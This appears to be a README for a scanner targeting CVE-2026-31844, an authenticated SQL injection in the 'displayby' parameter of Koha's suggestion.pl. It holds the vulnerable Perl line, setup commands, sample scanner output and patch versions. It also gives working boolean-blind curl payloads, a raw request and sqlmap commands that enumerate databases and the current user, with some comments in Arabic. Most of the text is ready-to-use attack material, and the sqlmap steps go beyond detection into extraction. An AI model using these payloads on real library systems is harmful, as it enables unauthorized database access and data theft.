# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );

git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner

pip3 install requests

python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password

python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl

╔═══════════════════════════════════════════════════════════════╗
║           CVE-2026-31844 — Koha Vulnerability Scanner         ║
║       Authenticated SQLi in suggestion.pl (displayby)         ║
║                 (Responsible Check Only)                      ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!

============================================================
 VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
    [1] Testing baseline request (STATUS)... HTTP 200 (OK)
    [2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
    [3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================

[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 

[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.

curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"

curl -i -k \
  -H "Cookie: CGISESSID=your_session_id_here" \
  "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"

GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0

# استخراج قاعدة البيانات الأساسية
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs

# استخراج المستخدم الحالي
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user

sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
  --cookie="CGISESSID=your_session_id_here" \
  -p displayby \
  --dbms=mysql \
  --technique=B \
  --current-db